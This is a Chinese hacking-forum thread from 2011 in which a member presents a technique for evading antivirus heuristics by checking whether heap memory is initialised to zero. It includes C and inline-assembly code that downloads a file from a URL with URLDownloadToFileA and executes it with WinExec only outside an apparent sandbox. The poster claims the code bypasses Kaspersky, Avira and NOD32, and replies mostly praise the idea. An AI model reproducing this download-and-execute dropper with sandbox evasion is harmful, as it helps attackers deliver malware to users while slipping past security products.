找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 9111|回复: 9

利用堆空间突破启发式

 火.. [复制链接]

2

主题

20

回帖

2

精华

钻石会员

积分
2866
QQ
发表于 2011-11-3 20:04:36 | 显示全部楼层 |阅读模式
本帖最后由 ForXuān 于 2011-11-3 22:02 编辑

这个思路是前几天复习指针时突然想到的,我们先来看一段代码:
  1. char *p = new char[3];
  2. *(p+1) = 'f';
  3. printf("%x\n",*p);
  4. printf("%c\n",*(p+1));
  5. printf("%x\n",*(p+2));
复制代码
写这段代码当时是为了测试堆空间,输出结果为:
ffffffcd
f
ffffffcd

从结果中可以看到,除了中间那个“f”是我赋值的,上、下两个数都是是堆空间申请后的初始值。当时我就觉得0xffffffcd这个数值应该是系统用来识别堆空间用,这样在释放的时候就可以根据这个数值识别应该回收哪些字节了。这时编译的模式是Debug模式,于是下意识的调用成Release模式,再次编译后竟出现了不同的结果:
0
f
0
我们可以看到Release模式后,堆空间的初始值变成了0,至于为什么变成0我至今也没搞清楚(本人水平有限,如果有知道的朋友还望指出原因)。但马上就跟免杀方面联系到了一起,Debug的调试模式,它的堆空间就有初始值,那的虚拟机环境也可以算是一个调试模式了,那里面的堆空间会不会也是有初始值的呢?于是拿卡巴做了一个实验,证明我的想法是没错的,由此我们就可以利用这一点来突破卡巴的启发式查杀,下面是主要的代码:
  1. HINSTANCE hi;
  2. hi=LoadLibrary("urlmon.dll");
  3. PVOID Down=GetProcAddress(GetModuleHandle("urlmon.dll"),"URLDownLoadToFileA");
  4. _asm
  5. {
  6.         push 0
  7.         push 0
  8.         push Str
  9.         push Url
  10.         push 0
  11.         call Down
  12. }
  13. FreeLibrary(hi);
  14. char *p1=new char[1];
  15. if((*p1)==0)
  16. {
  17.         hi=LoadLibrary("kernel32.dll");
  18.         PVOID Run=GetProcAddress(GetModuleHandle("kernel32.dll"),"WinExec");
  19.         _asm
  20.         {       
  21.                 push SW_SHOW
  22.                 push Str
  23.                 call Run
  24.         }
  25.         FreeLibrary(hi);
  26.         delete p1;
  27. }
复制代码
代码很简单,就是利用判断新申请的堆空间的初始值是否为0,不为0就说明是在上马的虚拟机环境内,则不会执行完整功能。此段代码在多台WINXP SP3和WIN 7环境下测试通,均可以成功下载并运行记事本。卡巴、小红伞、NOD32的启发式也都全部免杀。


由于想申请核心会员用的,所以附上杂志上证明原创的图片,让大牛们见笑了
4.jpg
1.jpg
2.jpg

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2011-11-3 21:55:26 | 显示全部楼层
思路新颖,风格独特,不错!

2

主题

20

回帖

2

精华

钻石会员

积分
2866
QQ
 楼主| 发表于 2011-11-3 22:00:14 | 显示全部楼层
{:soso_e149:}
唉,让各位前辈见笑了,跟各位比起来我还有很长一段路要走

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2011-11-3 22:33:05 | 显示全部楼层
ForXuān 发表于 2011-11-3 22:00
唉,让各位前辈见笑了,跟各位比起来我还有很长一段路要走

谁都是这么一路走过来的。

8

主题

149

回帖

2

精华

钻石会员

积分
3407
发表于 2011-11-5 02:03:08 | 显示全部楼层
vmp的壳好像就可以拒绝在虚拟机中运行……不知道是啥原理……

0

主题

62

回帖

0

精华

银牌会员

积分
341
发表于 2011-11-5 09:29:57 | 显示全部楼层
测试了一下好象不给力 没有用哈哈
  1. int main(int argc, char* argv[])
  2. {
  3.         char *p1=new char[1];
  4.         if ((*p1)==0)
  5.         {
  6.                 printf("能看到我不?\r\n");
  7.         }
  8.         delete p1;
  9.         getchar();
  10.         return 0;
  11. }
复制代码

0

主题

6

回帖

0

精华

初来乍到

积分
0
发表于 2011-11-7 16:54:00 | 显示全部楼层
思路确实很新颖,赞一个

47

主题

265

回帖

8

精华

核心会员

积分
10349
发表于 2011-11-7 18:14:54 | 显示全部楼层
我在想,是来了这论坛再去黑防,还是在黑防然后来论坛的?!?!?

4

主题

183

回帖

3

精华

钻石会员

积分
4965
发表于 2011-12-21 15:34:56 | 显示全部楼层
思路很新啊,判断杀软要比那些反调试技术简单的多

30

主题

693

回帖

0

精华

钻石会员

积分
2815
发表于 2015-7-7 09:13:45 | 显示全部楼层
支持一下吧
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表